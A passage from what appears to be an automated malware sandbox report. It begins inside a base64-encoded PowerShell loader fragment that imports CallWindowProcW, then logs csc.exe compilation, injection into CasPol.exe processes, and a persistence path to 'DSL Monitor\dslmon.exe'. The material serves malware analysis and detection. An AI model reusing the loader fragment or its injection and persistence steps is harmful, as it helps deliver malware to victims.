G4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAG
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3rumnuxb.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kar5iszo.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAD7.tmp" "c:\Users\user\AppData\Local\Temp\CSCB1B043D375E64A49ADE1599E795DF7E1.TMP"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA6F8.tmp" "c:\Users\user\AppData\Local\Temp\CSC12B2DF4544A1496EA7EB89E07B3D3FC6.TMP"

Source: CasPol.exe, 00000010.00000003.266621776048.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266617484991.00000000208F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: CasPol.exe, 00000010.00000003.266950900619.00000000208C5000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266935141274.00000000208C5000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266881221623.00000000208C5000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266870205260.00000000208C5000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266956836020.00000000208C5000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266941779895.00000000208C5000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266962489115.00000000208C5000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266930219335.00000000208C5000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266937930378.00000000208C5000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266896916705.00000000208C5000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266877767612.00000000208C5000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266890949038.00000000208C5000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266902136828.00000000208C5000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266893081273.00000000208C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Managerm32\cmd.exeing\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe
Source: CasPol.exe, 00000010.00000003.266998257248.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266986587280.00000000208FA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266819798320.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267090177582.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267092100473.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267381718592.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266791092513.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267166482776.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266809270757.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266798896933.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267003703455.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267284704845.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267405005178.00000000208F4000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266803817005.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266837130450.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267386131376.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266815636769.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267296199956.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267010333985.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266822361681.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267303192324.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266814096224.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267299000810.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267081739212.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267132189535.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266991101692.00000000208FA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266833230991.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266835254253.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267075538002.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267134553631.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266996130718.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267122511378.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267162084985.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267031293588.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267176767839.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267008195889.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267482584167.00000000208F4000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267159374349.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266789023399.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266970735507.00000000208FA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267172132004.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267378195452.00000000208F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerAppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe
Source: CasPol.exe, 00000010.00000003.266998257248.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266904811077.00000000208D4000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266986587280.00000000208FA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267090177582.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267092100473.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267381718592.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266791092513.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267166482776.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267396598244.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267039466145.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267034179578.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266796450678.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267093672541.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266798896933.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266720174861.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267003703455.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267066755846.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267036338977.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267386131376.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267293066249.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267303192324.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267142396446.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266682544408.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267096212102.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267042082868.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267075538002.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267134553631.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266976192586.00000000208FA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266996130718.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267122511378.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267162084985.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267031293588.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267176767839.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267008195889.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267069401168.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266842181155.00000000208D4000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267159374349.00000000208F9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266983611905.00000000208FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Managerm32\cmd.exe

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
